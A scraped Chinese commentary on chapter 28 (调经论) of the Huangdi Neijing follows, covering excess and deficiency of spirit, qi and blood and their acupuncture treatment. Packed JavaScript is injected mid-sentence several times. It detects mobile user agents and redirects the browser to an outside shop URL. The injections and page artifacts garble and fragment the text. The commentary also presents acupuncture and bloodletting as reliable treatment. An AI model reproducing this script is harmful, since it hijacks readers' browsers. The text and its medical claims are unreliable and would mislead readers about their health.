0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428760|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病很久的缘故”，则揭示了病程发展与身体感受之间的微妙关系。在中医看来，麻木往往比疼痛更为棘手，因为它意味着病邪已经深入肌理，营卫之气（即人体内的防御与滋养系统）运行受阻，导致气血难以通达四肢百骸。然而，尽管如此，但经络还能疏通，所以不痛。”这句话像是一束光，穿透了病痛的阴霾，告诉我们即使病情看似沉重，但只要经络尚存疏通之机，就仍有希望恢复健康。 在这里，岐伯不仅为我们揭示了疼痛与麻木的病理机制，更传递了一种积极向上的治疗理念。他告诉我们，面对疾病，我们不应轻言放弃，而应积极寻找病因，疏通经络，恢复营卫之气的正常运行。只有这样，我们才能战胜病魔，重获健康 黄帝问：有的表现为寒，这是什么原因那？ 岐伯说：“表现为寒象，是由机体阳气不足，阴气偏盛。”这句话简洁而深刻地指出了寒象产生的根本原因。在中医理论中，阴阳是构成宇宙万物的基本元素，也是维持人体生命活动平衡的重要力量。当人体内的阳气不足，阴气相对偏盛时，就会出现一系列寒象表现，如畏寒怕冷、四肢不温、面色苍白等。 而“阴气助长了风寒湿的痹气”，则进一步阐述了寒象形成的具体机制。风寒湿邪是自然界中常见的致病因素，它们具有侵袭人体、阻滞气血运行的特性。当人体阳气不足时，对风寒湿邪的抵御能力就会下降，这些外邪便容易乘虚而入，与体内的阴气相结合，形成痹气。痹气阻滞经络，影响气血流通，从而导致身体出现疼痛、麻木、僵硬等寒痹症状。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第28章 调经论篇 谈及“调经”，在中医的广阔天地里，这确实是一个既深奥又充满智慧的话题。不过，为了贴合您问题的语境，我们首先要明确这里的“调经”并非传统意义上专指女性调理月经的概念，而是指调治人体经络的病变与失衡，这是一种更为广泛而深刻的健康维护方式。 在中医理论中，经络是气血运行的通道，它们如同网络般遍布全身，连接着五脏六腑、四肢百骸，是维持人体生命活动的重要基础。当经络发生病变时，就如同网络中的某个节点或线路出现故障，会导致信息（即气血）传递不畅，进而引发各种疾病。 经络病变的原理复杂多样，主要包括外感六淫（风、寒、暑、湿、燥、火）、内伤七情（喜、怒、忧、思、悲、恐、惊）、饮食劳倦等因素的侵袭与影响。这些因素会导致经络气血运行受阻，出现气滞、血瘀、痰凝、湿阻等病理变化，进而引发疼痛、麻木、肿胀、功能障碍等症状。 针对经络病变的调治方法，中医有着丰富的实践经验和理论体系。主要包括以下几个方面： 1. 针灸疗法：通过针刺特定穴位，激发经络的经气，调节气血运行，达到疏通经络、调和阴阳、扶正祛邪的目的。 2. 推拿按摩：运用手法作用于经络和穴位，促进气血流通，缓解肌肉紧张，有助于恢复经络的正常功能。 3. 中药调理：根据患者的具体病情和体质特点，选用适当的中药进行内服或外用，以疏通经络、活血化瘀、补益气血。 4. 气功与导引：通过练习气功和导引术，可以调节呼吸，引导气血运行，达到强身健体的效果。这对于预防和调理经络病变也有积极作用。 5. 情志调养：中医强调“心身合一”，情志的变化对经络气血的运行有着重要影响。因此，保持心情舒畅，避免过度忧思恼怒，也是预防和调治经络病变的重要方面。 调经论”所探讨的不仅是关于人体经络病变的原理和调制方法，更是中医整体观念、辨证施治思想在经络调理领域的具体体现。通过综合运用各种方法，我们可以有效地维护经络的健康，促进身体的和谐与平衡。 本篇的主要内容有 一、关于人体神、气、血、形、志的病变与针刺补泻方法 在中医理论中，神、气、血、形、志是人体生命活动的五大基本要素，它们之间相互依存、相互制约，共同维持着人体的健康状态。当这五大要素出现有余或不足时，便会引发相应的病变。 神：神有余则易躁动不安，神不足则精神萎靡。针刺补泻上，神有余者可采用泻法，如针刺百会、神庭等穴以安神定志；神不足者则宜用补法，如艾灸关元、气海等穴以培补元气，滋养心神。 气：气有余则表现为气滞、气逆，气不足则气虚无力。气滞气逆者，针刺当以泻法为主，如针刺太冲、行间等穴以疏肝理气；气虚者则宜用补法，如针刺足三里、气海等穴以补气健脾，增强气的功能。 血：血有余易致血瘀，血不足则血虚。血瘀者针刺需采用泻法，如针刺膈俞、血海等穴以活血化瘀；血虚者则宜用补法，如针刺三阴交、脾俞等穴以补血养血，滋养全身。 形：形有余可能表现为形体肥胖、痰湿内阻，形不足则瘦弱无力。形有余者针刺可泻丰隆、中脘等穴以祛痰化湿；形不足者则需补脾胃之穴，如足三里、脾俞等，以健脾益胃，增强形体的充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428761|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛。 志：志有余多表现为情志过极，如怒、恐等，志不足则意志消沉。志有余者针刺需泻相关情志对应之穴，如怒伤肝可泻太冲，恐伤肾可泻涌泉；志不足者则需补益相应脏腑，如艾灸肾俞、命门等穴以补肾填精，安神定志。 二、阴阳虚实内外病症的发病原理与针刺补虚泻实 阴阳虚实内外病症的发病原理，是中医理论体系中的重要组成部分。阴阳失衡是疾病发生的根本原因，而虚实则是疾病性质的主要表现。外邪侵袭、内伤七情、饮食劳倦等因素均可导致阴阳失衡，从而产生虚实不同的病症。 针刺补虚泻实的原则，即根据病症的阴阳虚实属性，选择相应的穴位和手法进行治疗。虚证者宜用补法，以补益正气，增强机体的抗病能力；实证者则宜用泻法，以祛除病邪，恢复机体的平衡状态。同时，还需注意根据病邪所在的部位（内外），选择合适的针刺部位和深度，以达到最佳的治疗效果。 三、九侯诊病与针刺治疗的道理 九侯诊病，是中医望闻问切四诊中的切诊之一，也是中医独特的诊断方法之一。九侯即指全身上、中、下三部各分天、地、人三候，共九候，用以诊察全身脉象，判断脏腑经络的病变情况。 通过九侯诊病，医生可以全面了解病人的身体状况，包括脏腑功能的盛衰、气血的盈亏、邪气的深浅等。在此基础上，医生可以制定出针对性的针刺治疗方案。针刺治疗时，根据九侯诊断的结果，选择相应的穴位进行针刺，以达到调和阴阳、补虚泻实、疏通经络、调和气血的目的。同时，针刺手法的选择和运用也是根据九侯诊断的结果来确定的，以确保针刺治疗的准确性和有效性。 第28章 （1）神、气、血、形、志五者：有余不足全解析 黄帝问道：我听刺法上说，病属有余的用泻法，病属不足的用补法，什么是有余？什么是不足呢？ 岐伯回答说，病属有余的情况有五种，病属不足的情况也有五种。你要问的是哪一种呢？ 黄帝说，我希望你能全部都讲给我听听。 岐伯说：“神、气、血、形、志”五者都有有余有不足。 当我们深入探讨“神”这一概念时，不禁要感叹古人对于生命奥秘的深刻洞察。在这个问题中，“神”被赋予了极其丰富的内涵，它不仅仅是精神、意识、思维的集合体，更是人体生命活动的总指挥，引领着我们在纷繁复杂的世界中前行。 “神有有余，有不足”，这一论述简直就像是对人类心灵世界的天气预报，精准地指出了精神状态可能遭遇的两种极端情况——充盈与匮乏。想象一下，当我们心情愉悦、思维清晰、精力充沛时，那便是“神”之有余的表现，仿佛春天里万物复苏，生机盎然；而当我们情绪低落、思维迟钝、疲惫不堪时，则是“神”之不足的信号，犹如冬日里万物凋零，静待春归。 这种变化，正如同自然界中四季的更迭、日月的轮转，是宇宙间不可抗拒的规律。人体作为自然界的一部分，自然也要顺应这种天地变化，调整自己的身心状态，以达到与自然的和谐共生。在这个过程中，“神”的调节功能显得尤为重要，它像是一位智慧的导师，引导我们如何在变化莫测的世界中保持内心的平静与坚定。 因此，当我们遇到生活中的种种挑战与困境时，不妨从中医理论中寻找灵感，关注自己“神”的状态，通过调整心态、修养身心来保持“神”的充盈与和谐。这样，我们不仅能够更好地应对外界的变化，还能够在内心深处找到一份宁静与力量，让生命之树在风雨中更加茁壮成长。 一谈到中医里的“气”，我就仿佛能感受到一股看不见摸不着，却又无处不在的神秘力量在身体里穿梭。这可不是我在搞玄学，而是真真切切的中医智慧啊！ 在中医的世界里，“气”就像是那舞台上的聚光灯，不仅照亮了人体的每一个角落，还驱动着整个生命剧场的运转。它既是构成我们身体的基石，也是维持生命活动的源动力。想象一下，如果聚光灯暗淡了，舞台上的表演还能精彩吗？同理，气的充盈与否，直接关系到我们身体的健康状况。 气有多种作用，比如推动、温煦、防御、固摄和气化等，简直就是身体的超级英雄，多面手一枚。它帮助血液在血管里畅通无阻地流动，让我们的肌肤保持温暖，抵御外界的侵袭，还能固摄住体内的精华物质，不让它们轻易流失。更重要的是，气还能参与身体的新陈代谢，将吃进去的食物转化为身体所需的能量和营养。 所以说，当气处于“有余”状态时，我们就像是充满电的电池，精力充沛，活力四射，抵抗力也杠杠的；而当气“不足”时，我们就像是被抽走了灵魂的木偶，精神萎靡，疲惫不堪，还容易生病。因此，中医非常注重调理气机，通过各种方法让气保持在一个平衡、和谐的状态，从而达到强身健体、预防疾病的目的。 当然啦，要想深入了解“气”的奥秘，还得多多学习中医知识，感受那份古老而又深邃的智慧。毕竟，在中医的世界里，“气”可是个绕不开的话题呢！ 当我们谈论“血”这一生命之河时，不得不感慨中医理论的博大精深。在中医看来，“血”不仅是气之载体，更是滋养全身、维系生命的关键所在。它如同潺潺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428762|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪流，在脉络中缓缓流淌，将生命的养分播撒到每一个细胞、每一个角落。 “血有有余，有不足”，这简单的六个字，却蕴含了丰富的医学哲理。当血液充盈时，我们的身体就像是被春雨滋润过的田野，万物生长，生机勃勃。面色红润、肤色有光泽、精神状态饱满，这些都是血液充足带来的美好景象。而一旦血液不足，身体便会出现各种不适，面色苍白、皮肤干燥、精神萎靡，甚至影响到我们的生命活动。 血液在脉中循行，周流全身，这种循环不息的流动是生命活动的基础。它携带着氧气、营养物质等生命必需品，为五脏六腑、四肢百骸提供源源不断的动力。同时，血液还参与着人体的代谢过程，帮助身体排除废物和毒素，保持内环境的清洁与稳定。 因此，保持血液的充足与畅通对于人体健康至关重要。中医强调“气血同源”，认为气与血是相互依存、相互促进的。在调理身体时，往往会采用补气养血、活血化瘀等方法来增强血液的生成与循环能力。 一说到“形”，我就不由自主地想起了那句老话：“人靠衣装马靠鞍”，但在这里，我们得把“衣装”换成“形体结构”，毕竟在中医的世界里，“形”可是个实实在在、看得见摸得着的东西。 “形”指的是我们人体的形体结构，它包括了我们身上的肌肉、骨骼、脏腑等所有有形之体。这些部件不仅仅是身体的组成部分，更是我们健康与疾病的外在表现。想象一下，一个身材匀称、肌肉紧实的人，往往给人一种健康活力的感觉；而一个身形消瘦、骨骼突出的人，则可能透露出营养不良或疾病的信号。 小主，这个章节后面还 有哦，请点击下一页继续阅读，后面更精彩！ 第28章 （2）揭秘虚实之间：有余与不足的奥秘及其发生机制 黄帝所问，实则是触及了中医理论的精髓与人体生理病理的奥秘。首先，我们得佩服古人的智慧，他们早已洞察到人体构成的复杂与精微，用“精、气、津液、四肢、九窍、五脏、十六部、三百六十五节”这些词汇，高度概括了人体的基本要素与结构特点。 关于“精”，它不仅是构成人体的基本物质，还蕴含着生命的活力与繁衍后代的能力，是生命之源。 “气”，则更为玄妙，它既是构成人体和维持生命活动的动力，又是脏腑功能活动的总称，还涵盖了人体内的各种气化过程，如气化升降、气机调畅等。 “津液”，则是体内各种液态物质的统称，它们起着滋润濡养、充养血脉、调节体温等作用，是维持人体正常生理功能不可或缺的物质基础。 “四肢、九窍、五脏”，这些则是人体具体的解剖结构与功能单位。四肢是人体运动的主要执行者；九窍（通常指眼、耳、鼻、口、前阴、后阴七个主要孔窍，九或为泛指）则是人体与外界进行物质与信息交换的重要通道；五脏则是人体内脏的核心，它们各自具有独特的生理功能，又相互协调，共同维持着人体的生命活动。 至于“十六部、三百六十五节”，这里的“十六部”指的是人体的某些特定区域或系统的划分，而“三百六十五节”则是对人体骨骼、关节等结构的象征性描述，体现了古人对人体结构精细入微的观察与理解。 黄帝说：疾病有虚实之分时，实则是中医对疾病本质及病理变化的一种精炼概括。在这里，“正气”可理解为人体自身的防御、调节、修复等生理功能的总和，它如同一个国家的军队，守护着身体的安宁与和谐。而“邪气”，则泛指一切能导致人体生病的因素，无论是外感的风寒暑湿燥火，还是内伤的情志不舒、饮食劳倦，皆属此类，它们如同外来的侵略者，试图扰乱身体的平衡。 实证，便是正气尚足，能够奋起抵抗邪气的状态。此时，虽然身体已感受到不适，但正气犹在，能够迅速调动资源，与邪气展开激烈斗争，因此病程往往较短，病情相对容易控制，甚至可能自愈。这正如一位勇士面对敌人，虽战况激烈，但凭借过人的勇气与力量，最终能够克敌制胜。 反观虚证，则是正气不足，难以有效抵御邪气的侵扰。在这种情况下，邪气得以乘虚而入，深入体内，导致病情缠绵难愈，甚至反复发作。虚证的治疗，往往需要更加注重扶正祛邪，即在祛除病邪的同时，加强正气的培补，使身体逐渐恢复自我修复的能力。这好比一个国家在经历战乱后，不仅要清除残余的敌人，更要休养生息，重建家园，方能恢复往日的繁荣与安宁。 黄帝问岐伯：病属有余的情况有五种，病属不足的情况，也有五种。他们究竟是怎样发生的呢？ 岐伯说：五种有余和不足都是藏于五脏的。我们可以从五脏所藏之神、气、血、肉、志的角度来理解，这五种元素正是构成人体形神兼备、健康和谐的关键所在。 首先，心藏神。在中医理论中，心不仅是循环系统的核心，更是精神意识活动的主宰。心的功能正常，则人的神志清晰，思维敏捷，情绪稳定；反之，则可能出现心悸、失眠、多梦、健忘等神志异常的症状。这里的“神”，既指人的精神意识活动，也涵盖了人的生命力与活力。 肺藏气。肺主呼吸，是体内外气体交换的场所。肺的功能正常，则呼吸顺畅，气机调畅，人体得以吸入清气、排出浊气，维持生命活动的正常进行。同时，肺还参与宗气的生成与分布，宗气是人体一身之气的重要组成部分，对于维持人体生命活动具有重要意义。 肝藏血。肝具有贮藏血液和调节血量的功能。当人体处于安静或休息状态时，部分血液回流至肝脏贮藏起来；而当人体活动时，肝脏又将贮藏的血液输送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428763|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全身各处以供需要。此外，肝还主疏泄，能够调畅气机，促进血液与津液的输布与代谢。 脾藏肉。这里的“肉”并非单指肌肉组织，而是泛指由脾胃消化吸收的水谷精微所化生的营养物质。脾主运化，能够将水谷精微转化为气血津液等营养物质，并通过脾的升清作用将这些营养物质输送至全身各脏腑组织，以滋养濡润肌肉、四肢等形体组织。因此，脾的功能正常与否，直接关系到人体的肌肉丰满程度与四肢的健壮与否。 肾藏志。肾为先天之本，主藏精，精生髓，髓养骨，骨生髓，髓通于脑。因此，肾的功能不仅关系到人体的生长发育与生殖繁衍，还影响到人的意志力与精神状态。肾气充足，则人的意志坚定、精神饱满；肾气不足，则可能出现意志消沉、精神萎靡等症状。 岐伯接着说：人体五脏与经脉之间密不可分的联系，以及血气调和对于健康是非常重要的。经脉是气血运行的通道，它们如同河流般遍布全身，将五脏六腑、四肢百骸紧密地联系在一起。而五脏，作为人体生命活动的核心，其功能的正常发挥离不开气血的滋养与推动。 当人体内的血气调和时，经脉畅通无阻，气血得以顺畅地输送到全身各处，滋养着每一个细胞与组织，维持着人体的正常生理功能。然而，一旦血气不调和，经脉就可能受到阻滞，气血 运行不畅，从而导致各种疾病的发生。这些疾病可能表现为疼痛、麻木、肿胀、功能障碍等多种形式，严重影响着人体的健康与生活质量。 值得一提的是，中医对于经脉的认识与运用并非凭空而来，而是基于长期的临床实践与理论探索。在《黄帝内经》等中医经典着作中，对于经脉的循行路线、功能作用以及与五脏六腑的联系都有着详尽的论述。这些理论不仅为中医的诊断与治疗提供了坚实的理论基础，也为后人探索人体奥秘、维护人类健康提供了宝贵的启示。 第28章 （3）神有余与不足的典型症状及高效补泻疗法 黄帝问神有余和神不足会有什么症状呢？ 岐伯说：关于“神”的论述，我们不得不深入到中医理论的精髓之中。“神有余”与“神不足”，并非简单地指精神状态的兴奋或低落，而是从中医的整体观出发，对人体内在平衡状态的一种描述。 “神”是一个广义的概念，它不仅指人的精神意识活动，还涵盖了人体的生命活力、脏腑功能的协调状态等。“神有余”的病人会喜笑不止，他实际上是在描述一种因内在生命能量过于充沛，导致精神层面表现出极度兴奋或亢奋的状态。这种状态下，患者可能因为情绪的过度释放而难以自控，出现持续性的喜笑。从现代医学的角度来看，这或许与某些神经系统疾病或精神亢奋症状相似，但在中医理论中，它更多地被理解为一种阴阳失衡、气血过旺的表现。 相反，“神不足”则是指人体内在的生命活力低下，脏腑功能衰退，导致精神层面的萎靡不振。在这种情况下，患者往往因为缺乏足够的生命能量来支撑正常的情感表达，而表现出悲哀、忧愁等负面情绪。这不仅是心理状态的一种反映，更是身体机能下降、气血不足的直接体现。 如果病邪尚处于“尚未与气血相并，五脏安定，未现笑悲之态”的阶段，那么这确实是一个令人欣慰的“早期预警信号”。在中医的世界里，这意味着病邪还仅仅徘徊在身体的“门户”——即皮肤表面，尚未深入“腹地”，造成更广泛的影响。 此时，病人所感受到的“肌肤毫毛怕寒”，就像是身体在温柔地提醒你：“嘿，朋友，外面有点凉，记得添衣哦！”这种细微的感受，其实是身体自我保护机制在起作用，它正在通过感知外界环境的微妙变化，来调整自身的状态，以抵御潜在的威胁。 这时“则是指病邪对心神的影响尚处于初始、轻微阶段，尚未引发明显的情绪波动或脏腑功能失调。 黄帝问怎样运用补泻之法进行治疗呢？ 岐伯说：“神有，“刺其小络使之出血”。 想象一下，人体就像一片错综复杂的森林，经络如同其间的溪流与道路，而“小络”则是那些细微的支流与小径。在这些细微之处轻轻刺破，让多余的“气血”（可以理解为生命能量的表现形式）得以释放，从而达到平衡的目的。这种治疗方式，既避免了深刺可能带来的伤害，又巧妙地利用了人体自身的调节机制，使“神气”得以平复。 至于“不要向里推针深刺，更不要刺伤大的经脉”，这更是体现了中医治疗中“中病即止”、“过犹不及”的原则。深刺大经脉，不仅可能损伤正气，还可能引发更为复杂的病理变化。而轻轻刺破小络，让气血自然流出，既达到了治疗的目的，又保护了人体的整体平衡。 因此，当我们遇到“神有余”的状况时，不妨借鉴岐伯的智慧，采取这种既精准又温和的治疗方法。 岐伯说：对于“神不足”这一状况，以补法为主来治疗。这体现了中医“虚则补之”的基本原则。当我们面对“神不足”的患者时，首先要认识到的是，这不仅仅是精神层面的疲惫或不足，更是人体整体生命活力的一种衰退表现。 在气血亏虚的情况下，经络系统也显得相对虚弱，需要得到滋养和补充。因此，他建议先用手按摩虚弱之处，这是一种温和而有效的激发气血流动的方法。通过按摩，可以促进局部血液循环，使气血逐渐充实于虚络之中，为后续的针刺治疗打下良好的基础。 在按摩之后，配合针刺的治疗方案。这里的针刺，并非像治疗“神有余”时那样需要刺破小络使之出血，而是要以疏通经脉、调和气血为目的。针刺时，需要特别注意的是，不要过度刺激导致出血或气血外泄，而是要轻柔而精准地刺激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428764|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴位，使经脉得以畅通无阻，气血得以顺畅运行。 通过这样的治疗过程，不仅可以缓解“神不足”所带来的各种不适症状，如精神萎靡、疲惫无力等，更重要的是能够从根本上调整人体的生命活力状态，使神气得以平复和恢复。 当然，在实际操作中，我们还需要根据患者的具体情况和医生的判断来制定个性化的治疗方案。毕竟，中医强调的是“辨证施治”，即根据患者的体质、病情、年龄、性别等因素来综合考虑治疗方案的选择和实施。 黄帝问：针刺微邪应该怎样呢？ 岐伯说：按摩与针刺作为两种重要的治疗手段，其操作细节与效果往往能直接影响患者的康复进程。对于“按摩的时间要久一些”，我们可以理解为，在“神不足”或相关虚证的治疗中，需要给予患者足够的时间和耐心，通过持续的、温和的按摩手法，逐渐激发和调动起患者体内的气血运行。这种长时间的按摩，有助于气血在经络中的充分流动与分布，从而滋养和补充虚弱的组织器官，使神气得以逐渐恢复和充盈。 但“针刺时不要向里深推，只是引导转移病人之气”。因为针刺作为一种侵入性的治疗手段，其深度、力度和角度都需严格掌握。在治疗“神不足”等虚证时，若针刺过深或用力过猛，不仅可能损伤正气，还可能引发不必要的疼痛和不适。因此，采用浅刺、轻刺的手法，通过针尖的微妙刺激，引导患者体 内的气血进行有序的流动和转移，从而达到疏通经络、调和气血、平复神气的目的。 岐伯的这两点建议，既是对中医按摩与针刺治疗技术的深刻总结，也是对中医“治未病”和“调和”思想的生动体现。它们告诉我们，在治疗过程中，既要注重治疗手段的精准性和有效性，又要充分考虑患者的整体状况和个体差异，做到因人施治、因病施治。 第28章 （4）气有余与不足的典型症状及高效补泻疗法 黄帝说气有余，和气不足，会出现什么样的症状呢？ 岐伯说：“气有余，就会喘咳上逆；气不足则会呼吸不利，气息短少。 气有余，就会喘咳上逆，当人体内的“气”过于充盈，甚至超出了正常生理需求的范畴时，这种过剩的气可能会逆乱而上，影响肺脏的宣发与肃降功能。肺主气，司呼吸，且“肺为华盖”，居于胸腔高位，气逆则上冲，导致肺气上逆，进而引发喘咳等症状。这种情况在中医里常被视为“实症”，如外感风寒、风热等邪气侵袭，或情志过激、饮食不节等因素导致气机郁滞，都可能成为气有余而喘咳的诱因。 气不足，呼吸不利，气息短少。若人体内的“气”不足，即气虚，则会出现一系列功能低下的表现。肺主气司呼吸，气虚则肺的功能减弱，导致呼吸表浅，气息短促，甚至感觉吸不进气，呼不出气，即“呼吸不利”。这种情况多见于久病体虚、劳累过度、年老体衰等人群，属于中医的“虚症”范畴。气虚不仅影响呼吸，还可能伴有全身乏力、声低懒言、自汗、面色苍白或萎黄等全身症状。 谢邀。 岐伯说：当邪气尚未深入，尚未与人体内的气血相互纠缠，形成复杂的病理变化时，我们可以说这是一个治疗的黄金时期。在这个阶段，邪气往往只是停留在人体的最外层——皮肤之上。皮肤，作为人体的第一道防线，它的功能之一便是抵御外邪入侵。然而，当邪气过于强大或人体正气稍弱时，邪气便可能突破这道防线，但此时尚未深入五脏六腑，只是浅层次地滞留于皮肤表面。 当邪气侵袭皮肤，虽未直接伤及肺脏本身，但已使得肺气与外界环境的平衡被轻微打破，导致肺气有微量的外泄。这种外泄，虽然轻微，却也是身体对邪气入侵的一种反应和警示。 因此，当遇到这种“邪气尚未与气血相并，邪气只是滞留在皮肤上”的情况时，中医会强调“治未病”的理念，即在疾病尚未形成或刚刚萌芽之时就进行干预，通过解表散邪、调和营卫等方法，将邪气驱逐出体外，恢复皮肤与肺气的正常生理功能，从而避免病情进一步发展。 黄帝问怎样运用补泻之法进行治疗呢？ 岐伯说：“气有余的应当泻其经髓”，这里的“气有余”指的是体内正气或邪气过盛，超过了正常的生理平衡状态。在中医理论中，经络是气血运行的通道，而“经髓”则可理解为经络中更为深层、精微的部分，它可能涉及经络本身的营养与功能状态。因此，当气有余时，需要通过特定的方法（如针灸、推拿、药物等）来引导或排泄过剩的气，使之回归平衡。但这一过程中，必须小心翼翼，避免直接伤害到经脉本身，因为经脉一旦受损，将影响气血的正常流通，导致更严重的健康问题。同时，“不要使之出血”则强调了治疗的温和性，避免采用过于激烈的手段导致出血，从而进一步损伤正气。 “气不足的则应补其经髓”，这里的“气不足”指的是体内正气虚弱，不足以维持正常的生理功能。此时，需要通过补益的方法来增强经络中的气血，使其达到充盈的状态。但同样需要注意的是，“不要使其出气”，这里的“出气”并非指呼吸之气，而是指在治疗过程中要避免造成气的过度耗散或外泄。因为对于气不足的患者来说，每一分气都是宝贵的，需要精心呵护，以促进其逐渐恢复。 黄帝问怎样刺微邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428765|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？ 岐伯说：“应当先按摩病处时间要久一些”，这一步骤至关重要。按摩不仅能够促进局部血液循环，缓解肌肉紧张，还能在一定程度上减轻患者的紧张情绪，为后续的治疗创造良好的身心环境。通过长时间的按摩，患者会逐渐放松，对治疗的接受度也会提高。 接着，“拿出针来给病人看，并假意说要深刺”，这一行为看似简单，实则蕴含了深层的心理策略。中医讲究“治神”，即在治疗过程中要注重调节患者的心理状态。通过展示针具并预告深刺，可以在一定程度上引起患者的注意，甚至产生轻微的恐惧或紧张感。然而，这种紧张感并非全然无益，它可以在短时间内使患者的注意力高度集中，精气内收，从而为接下来的治疗创造更加专注的状态。 然而，高明之处在于，他并未真的进行深刺，而是“在刚进针时还是改为浅刺，达到病处即可”。这一转变，既避免了可能因深刺带来的不必要的疼痛和损伤，又巧妙地利用了患者因紧张而内收的精气，引导其作用于病处。此时，患者的精气深注于内，与邪气形成了一种对抗态势，使得邪气在浅表处散乱无章，难以聚集成势。 最终，“邪气从腠理外泄了，真气就会通达再次恢复正常”。这一过程，是中医针灸治疗追求的理想状态。通过精准的浅刺和巧妙的心理调适，使得患者的正气得以恢复，邪气得以排出，从而达到治疗疾病、恢复健康的目的。 ”综上所述，岐伯的这段论述不仅体现了中医针灸治疗的技术精湛，更展现了中医在身心并治方面的独特魅力。在现代医学日益发达的今天，我们依然可以从中汲取智慧，为人类的健康事业贡献力量。 第28章 （5）血有余与不足的典型症状及高效补泻疗法 黄帝说血有余和不足，会出现什么样的症状呢？ 岐伯说：“血有余则怒，血不足则恐”。从中医的角度来看，“血”不仅仅是现代医学意义上的液态组织，它更是滋养身体、维持生命活动的重要物质基础，与气、津液等共同构成了人体的基本生理环境。“血有余则怒”，可以理解为当人体内血液充盈过度，超过了正常生理需求时，可能会导致人体阳气偏亢，情绪上表现为易怒、烦躁。这种情况下，需要适当调理气血，使之恢复平衡，以防情绪失控影响健康。 而“血不足则恐”，则揭示了血液不足时，人体可能出现的一种心理状态——恐惧。中医认为，血液具有濡养心神的作用，当血液不足时，心神失养，人容易感到不安、恐惧，甚至可能出现心悸、失眠等症状。 当邪气（我们可以将其想象为一阵突如其来的风雨）尚未与气血直接交锋，五脏也保持其固有的安宁状态时，这邪气就像是初入湖泊边缘的微风，首先感受到它的，便是那些最为细微、遍布全身的孙络。孙络，作为气血运行的最初分支，它们细密而广泛，是邪气最容易侵入的门户。但此时，由于五脏安定，气血未乱，邪气只能暂时滞留在这些细小的网络之中，无法深入。 然而，如果这股邪气持续存在并不断累积，就像是微风逐渐增强为狂风，那么孙络中的“水量”（可以理解为气血的充盈程度）就会因为邪气的压迫而达到饱和，甚至外溢。这外溢的“水流”便会顺着经络的河道，流入更粗大的经脉之中。此时，经脉中的血液就会因为这股额外的“水流”而显得滞涩不畅，如同河流在雨季时因水量激增而流速减缓一般。 这一过程，在中医理论中，被看作是邪气由浅入深、由外及内，逐渐影响人体气血运行的一个典型例证。它提醒我们，在疾病初期，就要及时采取措施，阻止邪气的进一步深入，以保护脏腑的安宁和气血的顺畅。正如古人所言：“上工治未病”，即在疾病尚未形成或刚刚萌芽之时，就采取预防措施，以维护身体的健康与平衡。 黄帝们怎样运用补泻之法进行治疗呢？ 岐伯说：关于血有余与血不足的治疗原则时，我们仿佛穿越了时空，与这位古代医学大师进行了一场跨越千年的对话。在这里体现了中医“辨证施治”的核心理念，也为我们指明了在面对不同体质、不同病症时应采取的针对性治疗方法。 